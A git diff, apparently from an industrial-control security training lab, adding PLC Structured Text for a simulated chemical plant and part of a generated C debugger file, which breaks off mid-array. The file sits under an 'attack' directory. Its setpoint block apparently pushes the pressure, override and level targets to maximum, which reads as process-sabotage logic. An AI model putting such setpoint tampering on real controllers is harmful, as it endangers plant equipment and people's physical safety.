SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, 